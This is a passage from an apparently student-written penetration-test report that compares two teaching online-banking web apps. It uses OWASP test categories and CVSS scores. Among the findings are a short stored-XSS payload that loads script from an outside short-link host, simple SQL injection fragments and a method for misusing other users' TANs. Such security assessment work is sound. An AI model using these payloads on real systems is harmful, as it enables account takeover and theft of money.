Privileges Required None

**User Interaction** Yes, the user has to do any action for which the cookie will

be transmitted.

**Scope** Unchanged

ConfidentialityLowIntigrityHighAvailabilityNone

#### Comparison

Both applications are equally insecure regarding this.

# 4.5.5 Testing for Cross Site Request Forgery

## **Online Banking**

**Observation** There is no mechanism to prohibit CSRF. GET requests

aren't enough, though, since all of the important data is

only transmitted via POST requests.

**Discovery** Manual test

Impact Medium/High, depending on the victim's privileges. By

getting our victim to open a malicious web page, that creates a POST request with JS, we would be able to perform

actions in their name.

**Likelihood** High

Access Vector Network

**Access Complexity** Low

**Privileges Required** None

**User Interaction** Yes

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

**Observation** There is no mechanism to prohibit CSRF. GET requests

aren't enough, though, since all of the important data is

only transmitted via POST requests.

**Discovery** Manual test

Impact Medium/High, depending on the victim's privileges. By

getting our victim to open a malicious web page, that creates a POST request with JS, we would be able to perform

actions in their name.

**Likelihood** High

Access Vector Network

**Access Complexity** Low

Privileges Required | None

**User Interaction** Yes

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** High

**Availability** None

#### Comparison

Both applications are equally insecure regarding this.

# 4.5.6 Testing for logout functionality

# **Online Banking**

**Observation** The logout button is easily visible and works as it should:

It invalidates the session.

**Discovery** Manual test

Impactn/aLikelihoodn/aCVSSn/a

#### SecureBank

**Observation** The logout button is easily visible and works as it should:

It invalidates the session.

**Discovery** Manual test

Impact n/a

**Likelihood** n/a

CVSS n/a

# Comparison

Both applications have a correctly implemented logout function.

## 4.5.7 Test Session Timeout

#### **Online Banking**

**Observation** The user isn't logged out automatically.

**Discovery** Manual test

Impact Medium/High, depending on the victim's privileges. All

people using the same (maybe public) machine afterwards

have access to the victim's account.

**Likelihood** High

**Access Vector** Physical access to the machine that the victim used

Access Complexity Low
Privileges Required None

**User Interaction** Yes

**Scope** Unchanged

**Confidentiality** High

**Intigrity** High

**Availability** None

#### SecureBank

**Observation** The user is automatically logged out after 10 minutes of

inactivity.

**Discovery** Manual test

Impact n/a
Likelihood n/a

CVSS n/a

## Comparison

SecureBank is a lot more secure in this regard.

# 4.5.8 Testing for Session puzzling

# **Online Banking**

**Observation** We found no way to perform Session Puzzling. The same

cookie is used for all interactions.

**Discovery** Zap, w3af

Impact n/a
Likelihood n/a
CVSS n/a

#### SecureBank

**Observation** We found no way to perform Session Puzzling. The same

cookie is used for all interactions.

**Discovery** Zap, w3af

**Impact** n/a

**Likelihood** n/a

CVSS n/a

## Comparison

Both applications aren't vulnerable to Session puzzling.

# 4.6 Data Validation Testing

# 4.6.1 Testing for Reflected Cross Site Scripting

#### **Online Banking**

**Observation** The only GET parameters are "action" and if logged in as

employee, "account". When entering an action name that doesn't exist, the fake name is not displayed in any kind of error message. The same happens if the input account doesn't exist. If the account exists and the username is equal to some XSS attack, that should be considered a stored XSS attack instead. Thus, there's no attack vector for Reflected

XSS.

**Discovery** w3af (XSS plugin) and manually

Impact n/a
Likelihood n/a

CVSS n/a

#### SecureBank

**Observation** The only GET parameter is "page". When entering a page

name that doesn't exist, the fake name is not displayed in any kind of error message. Thus, there's no attack vector

for Reflected XSS.

**Discovery** w3af (XSS plugin) and manually

Impactn/aLikelihoodn/aCVSSn/a

### Comparison

Both applications allowed no reflected XSS.

# 4.6.2 Testing for Stored Cross Site Scripting

#### **Online Banking**

Observation Stored XSS can be injected via the username when reg-

istering and into the purpose field when making transactions. The email used for registration, however, is checked for validity. User names can't be longer than 32 signs. This is just enough to inject something like <script src=//bit.ly/1MvAdrm>. Users who register after this exploit has been used won't be shown, since the end tag is missing. For the transaction's description there is more

space, but an account is needed.

**Discovery** TODO

Impact Using this it's possible to e.g. automatically accept pay-

ments of over 10000 as soon as an admin opens the "Approve Transfers" page. Given a user's TAN, it's also possible to transfer their money into one's own account by sending them a manipulated transaction. The manipulated transaction just has to include code that creates a transaction in the victim's name. Furthermore, it's possible to steal sessions or, by injecting fake login forms even credentials of admins. By injecting into the username, the attacker can also auto-accept themselves as real user as soon as an

admin opens the "Approve Registrations" tab.

Likelihood High

Access Vector Network

**Access Complexity** Low

**Privileges Required** N/L: None for the registration XSS, Low user privileges for

XSS in transactions

**User Interaction** Yes

**Scope** Unchanged

**Confidentiality** High

**Intigrity** High

**Availability** Low

**Observation** User names are escaped, so XSS is impossible here. Transac-

tion descriptions, however, still allow XSS. It isn't triggered on the page where transactions will be verified by employees, but by opening the recipient's (or the attacker's) transaction history. This way it's just slightly harder to get the admin's credentials. Getting to the recipient's account

is as easy as in Online Banking's app.

**Discovery** TODO

Impact Using this it's possible to e.g. automatically accept pay-

ments of over 10000 as soon as an admin opens the "Approve Transfers" page. Given a user's TAN, it's also possible to transfer their money into one's own account by sending them a manipulated transaction. The manipulated transaction just has to include code that creates a transaction in the victim's name. Furthermore, it's possible to steal sessions or, by injecting fake login forms even credentials of admins.

**Likelihood** High

Access Vector Network

**Access Complexity** Low

**Privileges Required** | normal user privileges

**User Interaction** Yes

Scope Unchanged

ConfidentialityHighIntigrityHighAvailabilityNone

### Comparison

Both applications allowed for stored XSS, but Online Banking was easier to compromise (no account needed). Our application is the better one in this regard.

# 4.6.3 Testing for HTTP Verb Tampering

#### **Online Banking**

**Observation** When trying all HTTP methods, CONNECT returns "Bad

Request", while OPTIONS returns "OK". Otherwise, all methods except GET, HEAD and POST are not allowed

**Discovery** | script http\_tampering.sh in phase2/scripts/ (from OWASP

website)

**Impact** The web server might respond in unexpected ways to these

methods and might execute scripts without privilege con-

trol when using HEAD instead of GET.

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** When trying all HTTP methods, CONNECT returns "Bad

Request", while OPTIONS returns "OK". Otherwise, all methods except GET, HEAD and POST are not allowed

**Discovery** | script http\_tampering.sh in phase2/scripts/ (from OWASP

website)

**Impact** The web server might respond in unexpected ways to these

methods and might execute scripts without privilege con-

trol when using HEAD instead of GET.

**Likelihood** n/a

CVSS n/a

# 4.6.4 Testing for HTTP Parameter pollution

#### **Online Banking**

**Observation** | The application behaves as it should, ignoring all but the

last parameter with the same name. Trying to e.g. pollute the email during registration with a value that has the

wrong format shows "Email is invalid".

**Discovery** Manipulated parameters using BurpSuite manually, since

HPP apparently can't really be tested using tools (too many

false positives)

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** The application behaves as it should, ignoring all but the

last parameter with the same name. Trying to e.g. pollute the email during registration registers the user with the last

email parameter, if the email hasn't been taken.

**Discovery** Manipulated parameters using BurpSuite manually, since

HPP apparently can't really be tested using tools (too many

false positives)

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both apps are protected against HTTP parameter pollution.

## 4.6.5 Testing for SQL injection

#### **Online Banking**

#### Observation

We were able to log into the application as any user without knowing the passwordand to perform transactions with any unused TAN of any user when uploading a transaction batch file.

#### Discovery

We used the fuzzer of ZAP on the username field of the login form, with the query parameters username=admin&password=123, where the fuzzing point was at the end of the username. We compared the answers of the server and found that in one case we got redirected to the employee page. We analyzed the login page also using SQLmap, which delivered a similar result. Additionally, we ran SQLmap on the fields of the perform transaction form, it returned that none of the four inputs where exploitable for SQL injection.

We tested the fields of the transaction batch form manually by trying some standard SQL injection parts (e.g. '; - and "; -). We noted that the application gives no usual feedback when uploading a transaction file where the username or the comment contains strings that apparantly results in a syntactically erroneous SQL query. We continued to determine the table structure using a brute force script which tests for some expectable table and column names, the results can be found below. Finally, we were able to exploit the SQL injection vulnerability in the TAN field to use any unused TAN from any user.

### **Impact**

An attacker can log into any account, of which he knows the username, and perform transactions without knowing valid TANs for that account by uploading a transaction batch file. Furthermore, as an attacker can take over an administrator account, if he knows the username, he has access to all accounts and can change the account balances at will. Also, an attacker can analyze the structure of a database.

#### Likelihood

High

Access Vector Network

**Access Complexity** Low

Privileges Required None

**User Interaction** None

**Scope** Unchanged

**Confidentiality** High

**Intigrity** High

**Availability** No Impact

Access Vector Network

**Access Complexity** Low

**Privileges Required** Low

**User Interaction** None

**Scope** Unchanged

**Confidentiality** High

**Intigrity** High

**Availability** No Impact

## Results of the brute-force script

Login vulnerability

TAN vulnerability

Table payment: id, trancode, payer, receipt, amount, purpose

Table user: id, balance, email, username, password, isemployee

Table userrequest: id, email, username, password, isemployee

Table paymentrequest: id, trancode, payer, receipt, amount, purpose

Table trancode: id, clientid

# **Observation** No SQL injections found

### Discovery

We used the fuzzer of ZAP on the username field of the login form, with the query parameters username=admin@localhost&password=123, where the fuzzing point was at the end of the username. We also analyzed the login page also using SQLmap. Using both methods, we were not able to log in without knowing the password. Additionally, we ran SQLmap on the fields of the registration form and the perform transaction form, it returned that none of the four inputs where exploitable for SQL injection.

Impactn/aLikelihoodn/aCVSSn/a

#### Comparison

The Online Banking web application is vulnerable to SQL injection at different places, allowing an attacker to take over user accounts and transfer money without knowing any credentials. In the web application of the SecureBank, we were not able to find SQL injection vulnerabilities.

- 4.6.6 Testing for LDAP Injection
- 4.6.7 Testing for ORM Injection
- 4.6.8 Testing for XML Injection
- 4.6.9 Testing for SSI Injection
- 4.6.10 Testing for XPath Injection

We did not test any of these injection types as it appears that these techniques are not used in any of the two applications. Therefore, we decided to not further investigate in these types of injection.

# 4.6.11 IMAP/SMTP Injection

We don't want to attack the used mail servers, since they're probably not part of the programming part. And we don't want to go to prison for trying to hack gmail.

# 4.6.12 Testing for Code Injection

n/a

# **Online Banking**

ObservationThe only code injection we found is the SQL injection in<br/>the uploaded file, as described in 4.6.5. Apart from that<br/>nothing was found.DiscoveryTested the action parameter in the GET requests. Our tools<br/>found no Code Injections either.Impactn/aLikelihoodn/a

#### SecureBank

**CVSS** 

| Observation | No vulnerability found.   |
|-------------|---|
| Discovery   | Tested the page parameter in the GET requests. Our tools found no Code Injections either. |
| Impact      | n/a   |
| Likelihood  | n/a   |
| CVSS        | n/a   |

## Comparison

If we count the SQL injection in the uploaded file to the point about SQL injection, both applications perform the same.

# 4.6.13 Testing for Local/Remote File Inclusion

## **Online Banking**

ObservationNo paths are supplied through any of the GET or POST requests, so the application is secure.DiscoveryTested the action parameter in the GET requests. Our tools found no File Inclusion points either.Impactn/aLikelihoodn/a

#### SecureBank

n/a

**CVSS** 

ObservationNo paths are supplied through any of the GET or POST requests, so the application is secure.DiscoveryTested the action parameter in the GET requests. Our tools found no File Inclusion points either.Impactn/aLikelihoodn/aCVSSn/a

#### Comparison

Both applications are equally secure regarding Local/Remote File Inclusion.

# 4.6.14 Testing for Command Injection

# **Online Banking**

Observation W3af found two places where it suspected possible command injection via eval(). Both of these places turned out to just be SQL injection again, though. Apart from this we found no command injection.

**Discovery** W3af and then manual testing.

Impactn/aLikelihoodn/aCVSSn/a

#### SecureBank

ObservationWe found no places where command injection is possibleDiscoveryW3AF, ZAPImpactn/aLikelihoodn/aCVSSn/a

## Comparison

Both applications allow no command injections (to the OS).

# 4.6.15 Testing for Buffer overflow

### **Online Banking**

**Observation** We were able to induce a buffer overflow by putting a string

of 258 as into the TAN purpose field of the uploaded transaction batch file, although we could not identify whether this a stack or a heap buffer overflow. We were not able to cause a buffer overflow by using formatting characters. The transaction gets executed correctly, except that the purpose

field is empty, though.

**Discovery** Using the fuzzer of ZAP, we used the jbrofuzz / Buffer

Overflows / Long string's of a's fuzzing base on the transaction purpose field of the uploaded transaction batch file. For string smaller with a length smaller than 255 bytes, the transaction gets executed, and for very large strings, the application claims that the file is too large. However, in the other cases, the application gives no feedback, as described in Section 4.6.5. We also tried to cause buffer overflows caused by string format function by including strings like

%s into the username or transaction purpose field.

**Impact** As we could not identify whether this is a stack of a heap

buffer overflow, we cannot clearly identify the impact. In the worst case, if the buffer overflow happens on the stack, an attacker has access to the database and the file system.

**Likelihood** Medium

Access Vector Network

**Access Complexity** Low

**Privileges Required** Low

**User Interaction** None

Scope Unchanged

**Confidentiality** High

**Intigrity** High

**Availability** High

**Observation** We were unable to produce a buffer overflow.

**Discovery** We tried to use long strings of as on the username and

the description field of the uploaded transaction batch file. However, the file was either rejected with the comment that it does not satisfy the specifications or the transaction was executed. We also tried to cause buffer overflows caused by string format function by including strings like %s into the

username or transaction purpose field.

**Impact** n/a

**Likelihood** n/a

CVSS n/a

## Comparison

The SecureBank application is better in this regard, as it does not offer buffer overflow vulnerabilities.

# 4.6.16 Testing for incubated vulnerabilities

We did not test for incubated vulnerabilities for the reason of complexity.

# 4.6.17 Testing for HTTP Splitting/Smuggling

## **Online Banking**

**Observation** We were unable to find any HTTP splitting vulnerabilities.

**Discovery** Using ZAP, we analyzed the response headers and found

Location headers being sent. However, it did not appear that user inputs are sent as part of the location header.

Impact n/a

**Likelihood** n/a

CVSS n/a

### SecureBank

**Observation** We were unable to find any HTTP splitting vulnerabilities.

**Discovery** Using ZAP, we analyzed the response headers and found

Location headers being sent. However, it did not appear that user inputs are sent as part of the location header.

Impact n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both applications are on the same security level in this regard.

### 4.7 Error Handling

#### 4.7.1 Analysis of Error Codes

#### **Online Banking**

**Observation** We were not able to get reveal any information about the

database, but we were able to get usual error codes of an apache server. The error pages also revealed information about the version, which is 2.2.22 on an Ubuntu server.

Discovery By using the fuzzer jbrofuzz / SQL Injection / MySQL

Injection 101 of ZAP on the purpose field of the online transaction form, we got one response which simply stated Database error, but gave no further information. Using a browser, we requested the page /InternetBanking/foobar/, which returned a 404 error, with further information about the server operating system

and the Apache version.

Impact Using the apache version, an attacker can run known ex-

ploits for this specific version.

**Likelihood** Medium

Access Vector Network

Access Complexity Low

Privileges Required | None

**User Interaction** None

Scope Unchanged

**Confidentiality** No Impact

**Intigrity** No Impact

**Availability** No Impact

#### SecureBank

**Observation** We were not able to get reveal any information about the

database, but we were able to get usual error codes of an apache server. The error pages also revealed information about the version, which is 2.2.22 on an Ubuntu server. On the login page, we found an error code if the login was unsuccessful. Apparently, the code is always 1, if the

credentials are incorrect.

Discovery By using the fuzzer jbrofuzz / SQL Injection / MySQL

Injection 101 of ZAP on the purpose field of the online transaction form, we were not able to produce a databse error. Using a browser, we requested the page /seccoding-2015/foobar/, which returned a 404 error, with further information about the server operating sys-

tem and the Apache version.

Impact Using the apache version, an attacker can run known ex-

ploits for this specific version.

**Likelihood** Medium

Access Vector Network

Access Complexity Low

Privileges Required | None

User Interaction None

Scope Unchanged

**Confidentiality** No Impact

**Intigrity** No Impact

**Availability** No Impact

#### Comparison

Although the Online Banking application produces an error message about a database error, they provide the similar information in error messages.

## 4.7.2 Testing for Stack Traces

We were not able to produce stack traces in both applications using invalid inputs (e.g. negative numbers), or SQL injection.

## 4.8 Testing for weak Cryptography

# 4.8.1 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection

#### **Online Banking**

**Observation** We were unable to connect to the application via HTTPS.

**Discovery** We tried to access the application via HTTPS on port 443.

Impact An attacker can retrieve sensitive information by sniffing

the network.

**Likelihood** High

Access Vector Adjacent Network

Access Complexity | Medium

**Privileges Required** None

**User Interaction** None

**Scope** Unchanged

**Confidentiality** High

**Intigrity** No Impact

**Availability** No Impact

#### SecureBank

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**Discovery** We tried to access the application via HTTPS on port 443.

Impact An attacker can retrieve sensitive information by sniffing

the network.

**Likelihood** High

Access Vector Adjacent Network

Access Complexity | Medium

**Privileges Required** None

**User Interaction** None

**Scope** Unchanged

**Confidentiality** High

IntigrityNo ImpactAvailabilityNo Impact

#### Comparison

Both applications transport sensitive information about non-encrypted channels.

## 4.8.2 Testing for Padding Oracle

As there is no transport layer encryption in any of the two applications, we decided to not test for a padding oracle.

## 4.8.3 Testing for Sensitive information sent via unencrypted channels

All information is sent via an unencrypted channel. See Section 4.8.1

## 4.9 Business Logic Testing

#### 4.9.1 Test Business Logic Data Validation

#### **Online Banking**

Observation When uploading transaction files, it's possible to enter

negative amounts, which results in gaining money at the

"recipient's" cost.

**Discovery** Manual testing

Impact Attackers can steal money from anybody they want

**Likelihood** High

Access Vector Network

Access Complexity Low

**Privileges Required** Low

**User Interaction** None

**Scope** Unchanged

**Confidentiality** No Impact

**Intigrity** Low

**Availability** No Impact

#### SecureBank

**Observation** We found no ways to make unreasonable requests, like

negative money transactions.

**Discovery** Manual testing

**Impact** n/a

**Likelihood** n/a

CVSS n/a

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The Online Banking fails here, where our application correctly validates business data.

#### 4.9.2 Test Ability to Forge Requests

#### **Online Banking**

**Observation** None of the forms have hidden input fields that save critical

information. Editing a user as admin, e.g. has a hidden user ID field. But since admins are allowed to change any

user's values, that's no vulnerability.

**Discovery** Firefox dev tools

Impact n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** There's a hidden input field in the file upload form to limit

the file size. But if we go around this by uploading by forging the request and increasing this value, we're still

unable to upload files with a size of more than 3000.

**Discovery** Firefox dev tools, manual

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both applications are securd against forged requests.

## 4.9.3 Test Integrity Checks

### **Online Banking**

ObservationNo vulnerability found.DiscoveryZAP, W3AFImpactn/aLikelihoodn/aCVSSn/a

#### SecureBank

ObservationNo vulnerability found.DiscoveryZAP, W3AFImpactn/aLikelihoodn/aCVSSn/a

#### Comparison

Both applications have sufficient integrity checks.

## 4.9.4 Test for Process Timing

## Both

| Observation | Apart from blind SQL, this is not applicable, since all actions are done in atomic steps, without locking. |
|-------------|--|
| Discovery   | n/a  |
|             | n/a  |
| Likelihood  | n/a  |
| CVSS        | n/a  |

## 4.9.5 Test Number of Times a Function Can be Used Limits

### Both

|                                  | There's no benefit for the users when using functions more often. Thus this isn't applicable for either of the apps. |
|----------------------------------|--|
| Discovery                        | n/a  |
| Impact                           | n/a  |
| Likelihood                       | n/a  |
| Discovery Impact Likelihood CVSS | n/a  |

## 4.9.6 Testing for the Circumvention of Work Flows

### Both

| Observation | All actions in both apps are atomic, so this doesn't apply. |
|-------------|---|
| Discovery   | Browsing the app.   |

Impactn/aLikelihoodn/aCVSSn/a

### 4.9.7 Test Defenses Against Application Mis-use

#### **Both**

**Observation** Defenses Against Application Mis-use aren't part of either

of the applications. When sending many malicious requests at once, due to testing, neither of the applications tried to stop us. The same holds true for any attacker who wants to

check the apps for vulnerabilities.

**Discovery** ZAP, W3AF

Impact This itself is barely a problem, since at best it DDOSes the

app. But that would be noticeable then. It makes it easier

for an attacker to find other vulnerabilities, though.

**Likelihood** High

Access Vector Network

**Access Complexity** Low

**Privileges Required** | None

**User Interaction** None

**Scope** Unchanged

**Confidentiality** Low

**Intigrity** None

**Availability** Low

#### 4.9.8 Test Upload of Unexpected File Types

#### **Online Banking**

**Observation** While it's technically possible to upload files for transac-

tions, these files aren't stored permanently (or at least we couldn't find them), so this vulnerability is not applicable. Online Banking also ensures that only .txt files can be

uploaded.

**Discovery** w3af, Zap

Impact n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** While it's technically possible to upload files for transac-

tions, these files aren't stored permanently (or at least we couldn't find them), so this vulnerability is not applicable.

**Discovery** w3af, Zap

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both applications seem secure, but Online Banking goes one step further and therefore wins in this regard.

#### 4.9.9 Test Upload of Malicious Files

#### **Online Banking**

**Observation** Only .txt files are allowed. If they then don't conform to

the format for uploading transactions, we get the error message "Invalid format". Since transaction files probably also aren't stored permanently, we consider Online Banking

to be secure.

**Discovery** Uploaded eicar.com.txt (http://www.eicar.org/85-0-

Download.html)

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### SecureBank

**Observation** If uploaded files don't conform to the format for uploading

transactions, we get an empty page, just like when the file isn't in the right transaction format. This could hint at a vulnerability. However, nothing hints at transaction files

being stored anywhere.

**Discovery** Uploaded eicar.com (http://www.eicar.org/85-0-

Download.html)

**Impact** n/a

**Likelihood** n/a

CVSS n/a

#### Comparison

Both applications seem to reject the uploaded file, but Online Banking makes that clearer, due to its error message. Since the uploaded files are just stored until they're parsed, vulnerability is unlikely.

## 4.10 Client Side Testing

We decided to not perform client-side testing, because we priotized it low. We focused on server-side attacks like XSS and SQL injection.

# Acronyms

**TUM** Technische Universität München.